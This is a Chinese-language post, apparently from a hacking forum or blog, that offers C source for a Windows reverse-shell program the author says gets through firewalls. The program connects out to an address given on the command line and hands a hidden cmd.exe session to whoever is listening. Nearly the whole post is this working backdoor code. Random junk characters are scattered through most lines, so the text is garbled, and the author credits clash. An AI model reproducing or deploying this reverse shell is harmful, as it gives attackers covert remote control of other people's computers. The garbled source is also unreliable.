这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j'Q-*-3
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/* ============================== @7Rt[2"e
Rebound port in Windows NT <B{VL8IA>
By wind,2006/7 +(P43XO08
===============================*/ R{Kd%Y:2Y
#include }ok
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#include /$.vHt5nt
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#pragma comment(lib,"wsock32.lib") }GNH)-AG)$
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void OutputShell(); ~JRuMP
SOCKET sClient; GTIfrqT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IEr`6|X
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void main(int argc,char **argv) .q[sk
{ V7'x?
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WSADATA stWsaData; W
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int nRet; ~U*N'>'=)
SOCKADDR_IN stSaiClient,stSaiServer; GvtI-\h]
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if(argc != 3) M |kDys
{ 9X&qdA/q
printf("Useage:\n\rRebound DestIP DestPort\n"); wQuaB6E
return; h \cK
} GZ[h`FJg/
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WSAStartup(MAKEWORD(2,2),&stWsaData); dv}R]f'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \bl,_{z?
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stSaiClient.sin_family = AF_INET; U*U)l$!
stSaiClient.sin_port = htons(0); SK}g(X7IWH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RIqxM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [gr[0aG Bc
{ ]Tw6Fg1o>
printf("Bind Socket Failed!\n"); N6
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return; >@e%,z
} jy|xDQ
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stSaiServer.sin_family = AF_INET; z:jF)N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OL"5A18;M
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Tka="eyIj3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X1qj
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{ .Tqvy)'
printf("Connect Error!"); V+5
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return; zvC,([
} P>Rqy
OutputShell(); oDI*\S>
} k8>^dZub
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void OutputShell() cU[pneY
{
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char szBuff[1024]; kakWXGeR
SECURITY_ATTRIBUTES stSecurityAttributes; p5t#d)
OSVERSIONINFO stOsversionInfo; @CUDD{1o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r(CL=[
STARTUPINFO stStartupInfo; N|L5Ru
char *szShell; S|w] Q
PROCESS_INFORMATION stProcessInformation; cSDCNc*%
unsigned long lBytesRead; dj**,*s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Oip..f0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gcF><i6
stSecurityAttributes.lpSecurityDescriptor = 0; bZfJG^3
stSecurityAttributes.bInheritHandle = TRUE; q8]k]:r
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J/2pS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e 3oIoj4o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SJ@_eir\o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F\<i>LWT'
stStartupInfo.wShowWindow = SW_HIDE; 6*
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stStartupInfo.hStdInput = hReadPipe; xc3Q7u!|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .1}(Bywm5
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GetVersionEx(&stOsversionInfo); v0H#\p
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switch(stOsversionInfo.dwPlatformId) _?<Fc8F
{ XE\bZc
case 1: Ne_>%P|I_
szShell = "command.com"; Vtri"G8 aB
break; FFGTIT# {"
default: i[J',
szShell = "cmd.exe"; 5~QB.m,>
break; [%:NR
} Ccmbdw,Z5
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dGjvSK<1@
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send(sClient,szMsg,77,0); .jw)e!<\N
while(1) 24fWj?A| ^
{ !2}Q9a
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4F?1,-X
if(lBytesRead) ;k]pq 4E
{ hRu%> =7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +0DIN4Y(4
send(sClient,szBuff,lBytesRead,0); 9mZ1 a6,x
} LX'US-B.!
else P2kZi=0
{ `x{gF8GV
lBytesRead=recv(sClient,szBuff,1024,0); -d]z_
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if(lBytesRead<=0) break; &\r%&IX/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cAS5&T<
} OoNAW<
} P.0-(
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return; TXM.,5Dx\
}